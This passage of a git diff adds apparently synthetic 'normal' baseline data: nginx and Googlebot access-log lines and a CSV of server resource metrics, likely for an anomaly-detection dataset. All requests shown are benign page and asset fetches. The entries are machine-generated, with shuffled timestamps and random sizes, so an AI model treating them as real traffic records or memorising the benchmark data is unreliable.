(KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:23 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:06:23 +0000] "GET /products/123 HTTP/1.1" 200 9757 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:24 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:06:24 +0000] "GET /css/main.css HTTP/1.1" 200 8276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:06:27 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:06:27 +0000] "GET /index.html HTTP/1.1" 200 4818 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:28 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:06:28 +0000] "GET /images/logo.png HTTP/1.1" 404 14145 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:30 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:06:30 +0000] "GET /about-us HTTP/1.1" 200 4917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:32 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:06:32 +0000] "GET /images/logo.png HTTP/1.1" 200 2425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:39 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:06:39 +0000] "GET /images/logo.png HTTP/1.1" 200 6675 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:06:40 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:06:40 +0000] "GET /blog/posts/latest HTTP/1.1" 200 15703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:06:41 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:06:41 +0000] "GET /index.html HTTP/1.1" 200 12466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:06:43 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:06:43 +0000] "GET /blog/posts/latest HTTP/1.1" 200 24552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:45 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:06:45 +0000] "GET /products/123 HTTP/1.1" 200 23908 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:46 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:06:46 +0000] "GET /products/123 HTTP/1.1" 200 2912 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:06:47 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:06:47 +0000] "GET /images/logo.png HTTP/1.1" 200 24952 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:52 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:06:52 +0000] "GET /products/123 HTTP/1.1" 200 1545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:58 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:06:58 +0000] "GET /blog/posts/latest HTTP/1.1" 200 22961 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:06:59 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:06:59 +0000] "GET /css/main.css HTTP/1.1" 200 19102 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:01 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:07:01 +0000] "GET /css/main.css HTTP/1.1" 200 18699 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:04 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:07:04 +0000] "GET /contact HTTP/1.1" 304 8459 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:08 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:07:08 +0000] "GET /images/logo.png HTTP/1.1" 200 24068 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:11 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:07:11 +0000] "GET /css/main.css HTTP/1.1" 200 11239 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:14 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:07:14 +0000] "GET /images/logo.png HTTP/1.1" 200 4501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:07:15 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:07:15 +0000] "GET /blog/posts/latest HTTP/1.1" 200 21094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:07:17 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:07:17 +0000] "GET /blog/posts/latest HTTP/1.1" 200 9046 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:07:21 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:07:21 +0000] "GET /products/123 HTTP/1.1" 200 9169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:25 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:07:25 +0000] "GET /contact HTTP/1.1" 200 23288 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:25 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:07:25 +0000] "GET /images/logo.png HTTP/1.1" 200 4627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:27 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:07:27 +0000] "GET /contact HTTP/1.1" 200 19373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" diff --git a/norm_dataset/scenario_8/norm_8_30.csv b/norm_dataset/scenario_8/norm_8_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..1e7fc07ab2d98eabac4e3687b0a4c9e04ca3d55b --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,24.00,35.90,25.53,2.51,2.27 +2025-08-22T14:00:05Z,10.37,40.48,25.85,1.19,1.96 +2025-08-22T14:00:10Z,18.57,44.84,23.67,1.25,2.14 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14:02:07 web-app[3066]: 66.249.79.126 - - [15/Jul/2025:14:02:07 ] "GET /help/faq HTTP/1.1" 200 10427 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:05 web-app[3858]: 66.249.79.155 - - [15/Jul/2025:14:02:05 ] "GET /user/profile/99 HTTP/1.1" 200 12269 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:05 web-app[3510]: 66.249.79.45 - - [15/Jul/2025:14:02:05 ] "GET /static/style.css HTTP/1.1" 200 14450 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:08 web-app[3515]: 66.249.79.157 - - [15/Jul/2025:14:02:08 ] "GET /contact HTTP/1.1" 200 7434 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:05 web-app[3912]: 66.249.79.41 - - [15/Jul/2025:14:02:05 ] "GET / HTTP/1.1" 200 6456 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:06 web-app[3265]: 66.249.79.243 - - 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14:02:10 web-app[3428]: 66.249.79.193 - - [15/Jul/2025:14:02:10 ] "GET /about-us HTTP/1.1" 200 10210 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:12 web-app[3985]: 66.249.79.216 - - [15/Jul/2025:14:02:12 ] "GET /blog/post-102 HTTP/1.1" 200 11949 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:11 web-app[3179]: 66.249.79.246 - - [15/Jul/2025:14:02:11 ] "GET /help/faq HTTP/1.1" 200 9495 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:13 web-app[3544]: 66.249.79.125 - - [15/Jul/2025:14:02:13 ] "GET /static/style.css HTTP/1.1" 200 13819 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:10 web-app[3050]: 66.249.79.154 - - [15/Jul/2025:14:02:10 ] "GET /images/logo.png HTTP/1.1" 200 6745 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:10 web-app[3585]: 66.249.79.157 - - [15/Jul/2025:14:02:10 ] "GET /blog/post-102 HTTP/1.1" 200 7137 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:14 web-app[3383]: 66.249.79.251 - - [15/Jul/2025:14:02:14 ] "GET /images/logo.png HTTP/1.1" 200 11140 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:10 web-app[3298]: 66.249.79.11 - - [15/Jul/2025:14:02:10 ] "GET /about-us HTTP/1.1" 200 9083 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:10 web-app[3185]: 66.249.79.18 - - [15/Jul/2025:14:02:10 ] "GET /user/profile/99 HTTP/1.1" 200 5862 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:11 web-app[3939]: 66.249.79.236 - - [15/Jul/2025:14:02:11 ] "GET /contact HTTP/1.1" 200 5414 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:11 web-app[3731]: 66.249.79.97 - - [15/Jul/2025:14:02:11 ] "GET /images/logo.png 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Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:13 web-app[3860]: 66.249.79.50 - - [15/Jul/2025:14:02:13 ] "GET /blog/post-101 HTTP/1.1" 200 12901 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:10 web-app[3410]: 66.249.79.189 - - [15/Jul/2025:14:02:10 ] "GET /images/logo.png HTTP/1.1" 200 9686 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:10 web-app[3076]: 66.249.79.88 - - [15/Jul/2025:14:02:10 ] "GET / HTTP/1.1" 200 7838 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:12 web-app[3214]: 66.249.79.224 - - [15/Jul/2025:14:02:12 ] "GET /blog/post-101 HTTP/1.1" 200 7078 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:10 web-app[3700]: 66.249.79.201 - - [15/Jul/2025:14:02:10 ] "GET /products/all HTTP/1.1" 200 12485 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 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[15/Jul/2025:14:02:13 ] "GET /blog/post-102 HTTP/1.1" 200 8369 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:11 web-app[3173]: 66.249.79.132 - - [15/Jul/2025:14:02:11 ] "GET / HTTP/1.1" 200 8063 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:10 web-app[3078]: 66.249.79.251 - - [15/Jul/2025:14:02:10 ] "GET /blog/post-102 HTTP/1.1" 200 7190 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:12 web-app[3940]: 66.249.79.181 - - [15/Jul/2025:14:02:12 ] "GET / HTTP/1.1" 200 9960 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:11 web-app[3820]: 66.249.79.254 - - [15/Jul/2025:14:02:11 ] "GET /images/logo.png HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:12 web-app[3905]: 66.249.79.188 - - [15/Jul/2025:14:02:12 ] "GET /help/faq HTTP/1.1" 200 7032 "-" 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web-app[3199]: 66.249.79.110 - - [15/Jul/2025:14:02:15 ] "GET /user/profile/99 HTTP/1.1" 200 5924 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:15 web-app[3114]: 66.249.79.149 - - [15/Jul/2025:14:02:15 ] "GET /products/all HTTP/1.1" 200 12174 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3753]: 66.249.79.221 - - [15/Jul/2025:14:02:19 ] "GET /static/style.css HTTP/1.1" 200 9607 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3397]: 66.249.79.168 - - [15/Jul/2025:14:02:18 ] "GET /help/faq HTTP/1.1" 200 5441 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3621]: 66.249.79.171 - - [15/Jul/2025:14:02:18 ] "GET /static/style.css HTTP/1.1" 200 12311 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3105]: 66.249.79.54 - - [15/Jul/2025:14:02:19 ] "GET /user/profile/99 HTTP/1.1" 200 7717 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3728]: 66.249.79.187 - - [15/Jul/2025:14:02:18 ] "GET /static/style.css HTTP/1.1" 200 6601 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3495]: 66.249.79.173 - - [15/Jul/2025:14:02:19 ] "GET /contact HTTP/1.1" 200 6954 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:17 web-app[3356]: 66.249.79.90 - - [15/Jul/2025:14:02:17 ] "GET /blog/post-102 HTTP/1.1" 200 13394 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3226]: 66.249.79.114 - - [15/Jul/2025:14:02:18 ] "GET /blog/post-101 HTTP/1.1" 200 7287 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3798]: 66.249.79.248 - - [15/Jul/2025:14:02:19 ] "GET /user/profile/99 HTTP/1.1" 200 11790 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:16 web-app[3848]: 66.249.79.99 - - [15/Jul/2025:14:02:16 ] "GET /about-us HTTP/1.1" 200 7205 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3434]: 66.249.79.110 - - [15/Jul/2025:14:02:18 ] "GET /blog/post-102 HTTP/1.1" 200 10090 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3848]: 66.249.79.117 - - [15/Jul/2025:14:02:19 ] "GET /products/all HTTP/1.1" 200 9379 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:16 web-app[3429]: 66.249.79.69 - - [15/Jul/2025:14:02:16 ] "GET /help/faq HTTP/1.1" 200 7009 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3486]: 66.249.79.141 - - [15/Jul/2025:14:02:19 ] "GET /help/faq HTTP/1.1" 200 7207 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3803]: 66.249.79.161 - - [15/Jul/2025:14:02:19 ] "GET /blog/post-102 HTTP/1.1" 200 9245 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3337]: 66.249.79.206 - - [15/Jul/2025:14:02:19 ] "GET /contact HTTP/1.1" 200 14633 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:15 web-app[3825]: 66.249.79.241 - - [15/Jul/2025:14:02:15 ] "GET /contact HTTP/1.1" 200 6339 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:17 web-app[3660]: 66.249.79.33 - - [15/Jul/2025:14:02:17 ] "GET /about-us HTTP/1.1" 200 10330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3739]: 66.249.79.172 - - [15/Jul/2025:14:02:18 ] "GET /blog/post-101 HTTP/1.1" 200 6650 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3292]: 66.249.79.46 - - [15/Jul/2025:14:02:19 ] "GET /products/all HTTP/1.1" 200 6629 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3690]: 66.249.79.117 - - [15/Jul/2025:14:02:18 ] "GET /about-us HTTP/1.1" 200 14546 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:17 web-app[3702]: 66.249.79.84 - - [15/Jul/2025:14:02:17 ] "GET /static/style.css HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:16 web-app[3767]: 66.249.79.36 - - [15/Jul/2025:14:02:16 ] "GET /blog/post-102 HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3681]: 66.249.79.154 - - [15/Jul/2025:14:02:18 ] "GET /blog/post-102 HTTP/1.1" 200 6393 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:17 web-app[3832]: 66.249.79.10 - - [15/Jul/2025:14:02:17 ] "GET /images/logo.png HTTP/1.1" 200 5131 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:17 web-app[3786]: 66.249.79.4 - - [15/Jul/2025:14:02:17 ] "GET /user/profile/99 HTTP/1.1" 200 13531 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3156]: 66.249.79.63 - - [15/Jul/2025:14:02:18 ] "GET /static/style.css HTTP/1.1" 200 6865 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:18 web-app[3382]: 66.249.79.121 - - [15/Jul/2025:14:02:18 ] "GET /blog/post-102 HTTP/1.1" 200 7903 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:17 web-app[3562]: 66.249.79.121 - - [15/Jul/2025:14:02:17 ] "GET /products/all HTTP/1.1" 200 12640 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:16 web-app[3223]: 66.249.79.80 - - [15/Jul/2025:14:02:16 ] "GET /products/all HTTP/1.1" 200 14674 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:17 web-app[3186]: 66.249.79.23 - - [15/Jul/2025:14:02:17 ] "GET /help/faq HTTP/1.1" 200 7657 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:19 web-app[3824]: 66.249.79.253 - - [15/Jul/2025:14:02:19 ] "GET /blog/post-102 HTTP/1.1" 200 12113 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:24 web-app[3543]: 66.249.79.154 - - [15/Jul/2025:14:02:24 ] "GET /blog/post-102 HTTP/1.1" 200 5349 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:21 web-app[3067]: 66.249.79.123 - - [15/Jul/2025:14:02:21 ] "GET /help/faq HTTP/1.1" 200 5716 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:22 web-app[3361]: 66.249.79.123 - - [15/Jul/2025:14:02:22 ] "GET /blog/post-101 HTTP/1.1" 200 13114 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:22 web-app[3378]: 66.249.79.107 - - [15/Jul/2025:14:02:22 ] "GET /images/logo.png HTTP/1.1" 200 8216 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:23 web-app[3444]: 66.249.79.3 - - [15/Jul/2025:14:02:23 ] "GET /user/profile/99 HTTP/1.1" 200 8938 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:24 web-app[3137]: 66.249.79.144 - - [15/Jul/2025:14:02:24 ] "GET /static/style.css HTTP/1.1" 200 12135 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:22 web-app[3034]: 66.249.79.87 - - [15/Jul/2025:14:02:22 ] "GET /blog/post-101 HTTP/1.1" 200 14544 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:21 web-app[3266]: 66.249.79.208 - - [15/Jul/2025:14:02:21 ] "GET /static/style.css HTTP/1.1" 200 8687 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:24 web-app[3540]: 66.249.79.60 - - [15/Jul/2025:14:02:24 ] "GET /products/all HTTP/1.1" 200 7534 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:24 web-app[3345]: 66.249.79.230 - - [15/Jul/2025:14:02:24 ] "GET /about-us HTTP/1.1" 200 14564 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:22 web-app[3202]: 66.249.79.195 - - [15/Jul/2025:14:02:22 ] "GET /images/logo.png HTTP/1.1" 200 9032 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:20 web-app[3365]: 66.249.79.58 - - [15/Jul/2025:14:02:20 ] "GET /blog/post-101 HTTP/1.1" 200 14104 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:23 web-app[3317]: 66.249.79.151 - - [15/Jul/2025:14:02:23 ] "GET /contact HTTP/1.1" 200 8090 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:22 web-app[3055]: 66.249.79.149 - - [15/Jul/2025:14:02:22 ] "GET /images/logo.png HTTP/1.1" 200 5963 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:22 web-app[3286]: 66.249.79.69 - - [15/Jul/2025:14:02:22 ] "GET /user/profile/99 HTTP/1.1" 200 9421 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:21 web-app[3641]: 66.249.79.47 - - [15/Jul/2025:14:02:21 ] "GET / HTTP/1.1" 200 5147 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:21 web-app[3038]: 66.249.79.95 - - [15/Jul/2025:14:02:21 ] "GET /images/logo.png HTTP/1.1" 200 12366 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:22 web-app[3997]: 66.249.79.164 - - [15/Jul/2025:14:02:22 ] "GET /contact HTTP/1.1" 200 10970 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:20 web-app[3604]: 66.249.79.53 - - [15/Jul/2025:14:02:20 ] "GET /help/faq HTTP/1.1" 200 5426 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:23 web-app[3156]: 66.249.79.238 - - [15/Jul/2025:14:02:23 ] "GET /blog/post-102 HTTP/1.1" 200 6114 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:28 web-app[3768]: 66.249.79.75 - - [15/Jul/2025:14:02:28 ] "GET /static/style.css HTTP/1.1" 200 11126 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:25 web-app[3149]: 66.249.79.8 - - [15/Jul/2025:14:02:25 ] "GET /images/logo.png HTTP/1.1" 200 11423 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:29 web-app[3895]: 66.249.79.41 - - [15/Jul/2025:14:02:29 ] "GET /help/faq HTTP/1.1" 200 5004 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:25 web-app[3607]: 66.249.79.126 - - [15/Jul/2025:14:02:25 ] "GET /user/profile/99 HTTP/1.1" 200 13779 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:25 web-app[3878]: 66.249.79.192 - - [15/Jul/2025:14:02:25 ] "GET / HTTP/1.1" 200 5593 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:25 web-app[3616]: 66.249.79.128 - - [15/Jul/2025:14:02:25 ] "GET /blog/post-101 HTTP/1.1" 200 12677 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:28 web-app[3629]: 66.249.79.251 - - [15/Jul/2025:14:02:28 ] "GET /about-us HTTP/1.1" 200 5473 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:25 web-app[3434]: 66.249.79.44 - - [15/Jul/2025:14:02:25 ] "GET /blog/post-102 HTTP/1.1" 200 7877 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:29 web-app[3978]: 66.249.79.81 - - [15/Jul/2025:14:02:29 ] "GET /products/all HTTP/1.1" 200 7368 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:02:25 web-app[3821]: 66.249.79.251 - - 